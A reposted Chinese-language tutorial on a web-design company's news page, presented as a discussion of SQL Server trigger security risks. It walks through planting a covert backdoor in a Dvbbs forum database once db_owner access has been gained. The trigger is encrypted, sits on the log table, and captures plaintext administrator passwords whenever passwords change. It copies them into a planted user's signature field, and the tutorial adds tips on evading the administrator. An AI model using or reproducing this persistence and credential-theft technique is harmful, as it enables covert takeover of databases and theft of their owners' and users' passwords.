建站
咨詢
售后
建站咨詢
新聞中心
觸發(fā)器權(quán)限和所有權(quán)
10年積累的成都做網(wǎng)站、網(wǎng)站設(shè)計經(jīng)驗，可以快速應(yīng)對客戶對網(wǎng)站的新想法和需求。提供各種問題對應(yīng)的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡(luò)服務(wù)。我雖然不認(rèn)識你，你也不認(rèn)識我。但先做網(wǎng)站設(shè)計后付款的網(wǎng)站建設(shè)流程，更有定海免費網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。
CREATE TRIGGER 權(quán)限默認(rèn)授予定義觸發(fā)器的表所有者、sysadmin 固定服務(wù)器角色成員以及 db_owner 和 db_ddladmin 固定數(shù)據(jù)庫角色成員，并且不可轉(zhuǎn)讓。
需要的環(huán)境
本文需要的環(huán)境是已經(jīng)獲取了sql服務(wù)器的以上其中一個權(quán)限，目的是為了留下隱蔽的后門，不被管理員發(fā)現(xiàn)。即使發(fā)現(xiàn)了也是加密的（可以破解，不過有些管理員不懂，也不會注意，相關(guān)信息google下）。
觸發(fā)器是在對表進(jìn)行插入（insert）、更新（update）或刪除（delete）操作時，自動執(zhí)行的存儲過程。最常見用于執(zhí)行敏感數(shù)據(jù)操作時做歷史記錄。
本文以動網(wǎng)論壇dvbbs為例，我們已經(jīng)拿到了db_owner權(quán)限（注意：并不是說dvbbs本身有漏洞）。因為只是db_owner權(quán)限，所以讀者想去執(zhí)行“xp_cmdshell”，就不再本文范圍了，相信讀過本文后，只要有系統(tǒng)權(quán)限，作個系統(tǒng)的后門也是簡單的。先回想一下通常我們使用數(shù)據(jù)庫時要做什么和關(guān)心什么。
為什么要使用觸發(fā)器作后門
管理員首先會把sql文件執(zhí)行下，然后導(dǎo)入mdb的內(nèi)容，平時使用頂多備份下，還原下。通常不會有人去看觸發(fā)器的內(nèi)容，查看觸發(fā)器可以使用命令“exec sp_helptrigger 'dv_admin'”，或者在企業(yè)管理器中選擇“管理觸發(fā)器”。因為動網(wǎng)根本沒有用到觸發(fā)器，也沒有提到觸發(fā)器，所以動網(wǎng)的管理員不會去看的。于是我們在里面寫的內(nèi)容就相對安全了。
思路
觸發(fā)器主要是用來做歷史記錄的，當(dāng)然可以把管理員更改密碼和添加用戶的歷史記錄下。放進(jìn)一個管理員通常不會注意的、普通用戶又可以看到的地方。
動網(wǎng)的密碼有md5加過密的，加密的操作是asp程序在服務(wù)器上來完成的，等數(shù)據(jù)庫拿到數(shù)據(jù)的時候已經(jīng)是加過密的了。但是動網(wǎng)同時把密碼以明文方式放入dv_log表中，就給了我們方便。只要拿到dv_log表中l(wèi)_content字段的內(nèi)容，然后判斷是否管理員在執(zhí)行敏感操作，后門思路就形成了。
使用過程――代碼解析
代碼片斷：創(chuàng)建觸發(fā)器。
create trigger dv_admin_history
on Dv_log
with encryption
for insertas
as
觸發(fā)器需要建立在Dv_log表上，這里放入的是明文密碼。我們并不知道管理員密碼設(shè)置有多長，只能是把里面的有密碼的字段內(nèi)容全部取出。觸發(fā)器***是加密的，加密后，管理員即使看到了，也不知道這里是什么東西。在insert（加入）數(shù)據(jù)時執(zhí)行觸發(fā)器。
取出來的值應(yīng)該放入一個普通用戶能看到的地方，這樣只要有了普通用戶的權(quán)限就可以看到密碼。動網(wǎng)數(shù)據(jù)庫中，***并且可以存放數(shù)據(jù)的字段管理員通常都會看到。所以必須找出來一個管理員不會看，而其他用戶也不會注意的地方。
我選擇放在一個新建用戶的用戶信息里（以下通稱這個用戶為“汪財”，親切點），這樣我們登陸時就可以看到了（注意：登陸時有日志的，記錄***登陸ip，大家自己解決）。
有以下幾個字段適于存放：
1、Userphoto，字段類型：varchar(255)。記錄了汪財?shù)恼掌刂??？梢源娣判∮?55的數(shù)據(jù)。
2、Usersign，字段類型：varchar(255)。汪財?shù)暮灻?，如果放這里，汪財就不能發(fā)貼了，否則后果自負(fù)（發(fā)貼會顯示簽名，地球人都能看到）。
3、Useremail，字段類型：nvarchar(255)。汪財?shù)膃mail，使用時需要轉(zhuǎn)換類型。
4、Userinfo，字段類型：text。汪財?shù)挠脩糍Y料。該字段很特殊，有很多“”，每一對“”之間都有著不同的含義。動網(wǎng)很懶的，為了避免字段太多，就把一堆信息全都放入一個字段里，用“”分開，當(dāng)查詢某一項信息時，取出來全部，然后分割下，就是需要的數(shù)據(jù)了。
解決的問題：
1、如果都放滿了。
理論上，如果我們看到了***個字段有了東西，就應(yīng)該拿筆記下來，然后刪除掉。觸發(fā)器會自動檢查大小后繼續(xù)使用。再次強(qiáng)調(diào)下，本文例子針對動網(wǎng)，大家應(yīng)該具體問題具體分析。
2、管理員的日志中，有很多日志，怎么判斷它就是在記錄更改密碼。
在管理員操作用戶時，當(dāng)然會在“user.asp”或者“admin.asp”中操作，所以我們判斷條件需要：
select @passinfo = l_content from inserted where l_type = 1 and (l_touser = 'user.asp' or l_touser = 'admin.asp')
在l_touser為user.asp或者admin.asp時，說明管理員在操作（查看，更新，刪除）用戶或者管理員。在l_type = 1時，說明執(zhí)行了更新操作，l_content字段里面有密碼（如果管理員更新了密碼，或者新建了帳戶）。因此，查詢inserted表中的l_content，賦值給@passinfo代碼片斷：更新汪財?shù)膗sersign字段。
if (len(@usersign) < 150 or @usersign is null)
begin if (@usersign is null)
set @usersign = ' '
set @passinfo = @usersign + @passinfo
update Dv_User set usersign = @passinfo where username = @username
commit tran
returnend
end
***更新時，usersign字段里沒有內(nèi)容，而SQL Server里null加任何數(shù)都是null，所以需要判斷is null之后，給null賦值為一個空格。其他幾個字段的方法和這里大同小異，只是一個轉(zhuǎn)換nvarchar和“”的組合時多了點。***判斷如果字段內(nèi)容太多就不再寫了，為了提高性能，也可以把***的判斷寫在前面，一旦數(shù)據(jù)過多，就不需要再繼續(xù)執(zhí)行了。
關(guān)于SQL Server數(shù)據(jù)庫的觸發(fā)器安全隱患問題就為大家介紹到這里，以后有機(jī)會還會繼續(xù)為大家介紹這方面的內(nèi)容，希望對大家能夠有所幫助。
【編輯推薦】
- SQL Server數(shù)據(jù)庫最小宕機(jī)遷移方案
- SQL Server數(shù)據(jù)庫備份出錯及應(yīng)對措施
- 銀行sql觸發(fā)器代碼
當(dāng)前題目：講解SQLServer數(shù)據(jù)庫的觸發(fā)器安全隱患
URL鏈接：http://www.dlmjj.cn/article/dhheoid.html
